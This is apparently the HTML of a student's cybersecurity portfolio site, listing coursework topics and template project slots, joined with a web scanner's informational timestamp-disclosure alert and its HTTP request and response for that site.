Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 166584919Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 16894306, which evaluates to: 1970-07-15 13:51:46
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O9CfHQgObVNEaGCeR54qKKwytECMmlM5H0bXWDqJpVGo4vNUT18M2ld9NoeIDxTsPe1bzHv%2F9eh3xB7p6KNQNXYdikH5v2vQoVZ4Lqr2%2BgmRM8bXQ1W95L9VnzmijHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a326098f0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178339 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div 